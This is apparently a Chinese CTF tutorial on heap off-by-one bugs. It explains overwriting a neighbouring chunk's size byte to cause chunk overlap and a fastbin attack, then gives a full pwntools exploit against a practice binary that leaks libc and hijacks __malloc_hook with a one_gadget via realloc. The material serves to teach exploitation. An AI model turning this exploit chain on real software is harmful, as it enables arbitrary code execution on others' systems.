堆漏洞offbyone
- offbyeone:一个简单又比较实用的漏洞,是在堆溢出只能溢出一个字节的时候使用。
0x01 offbyone原理分析
假如题目存在offbyone漏洞,堆中有ABCD四个已经被分配的大小为0x70的chunk,现在都是使用状态。然后A是我们进行offbyone的chunk,我们目的是将B的size改掉。我们在chunk A中输入我们输入**’A’*0x68 + ‘\xe1’**将左图改为右图,可以看到B的size被改大了,正好覆盖到了C的末尾。
这时候我们将Cfree掉,他会进入fastbin。我们再将B free掉,B+C这一段区域会进入unsorted bin。我们再次申请一个大小为0xd0的堆块,也就是说B+C这段内存又被我们控制了,此时我们就可以控制C的fd字段,就可以进行fastbinattack了。
0x02 offbyone例题讲解
环境:本地 Ubuntu16.04
例题:offbyone
(1)原理补充:
这里用到了realloc的打法,是在给的4个onegadget都失效的情况下使用具体看这篇文章
(2)漏洞点:
这里因为strlen函数读到0才会停止,而程序是以小端序存放(高字节在右边,低字节在左边)所以会多读一个“size”(1个字节)
(3)exp
from pwn import*
io=process('./offbyone')
libc=ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
context.log_level='debug'
def p():
gdb.attach(io)
pause()
def choice(i):
io.sendlineafter('4:delete',str(i))
def add(index,size,content):
choice(1)
io.sendlineafter('index:',str(index))
io.sendlineafter('size:',str(size))
io.sendafter('content:',content)
def show(index):
choice(2)
io.sendlineafter('index:',str(index))
def edit(index,content):
choice(3)
io.sendlineafter('index:',str(index))
io.sendafter('content:',content)
def free(index):
choice(4)
io.sendlineafter('index:',str(index))
add(0,0x100,'aaaa')
add(1,0x68,'a'*0x68) #这里填充0x68个a覆盖0,等下才能读入0x68个字节
add(2,0x68,'aaaa')
add(3,0x68,'aaaa')
add(4,0x68,'aaaa')
free(0)
add(0,0x100,p64(0))
show(0)
leak=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
libc_base=leak-0x3c4b78
print('libc_base:'+hex(libc_base))
malloc=libc_base+libc.symbols['__malloc_hook']
realloc=libc_base+libc.symbols['realloc']
fake_chunk=malloc-0x23
one_gadget=libc_base+0x4527a
edit(1,'a'*0x68+'\xe1')
free(3)
free(2)
add(2,0xd0,b'a'*0x68+p64(0x70)+p64(fake_chunk))
add(5,0x60,'aaaa') #realloc在malloc的前面
add(6,0x60,b'A'*0xb+p64(one_gadget)+p64(realloc+8))#0xb看下面补充算法
choice(1) #onegadget覆盖realloc,realloc覆盖malloc
io.sendlineafter('index:','7')
io.sendlineafter('size:','0x10')
io.interactive()
补充:
再扣去头部0x10就是0xb
结束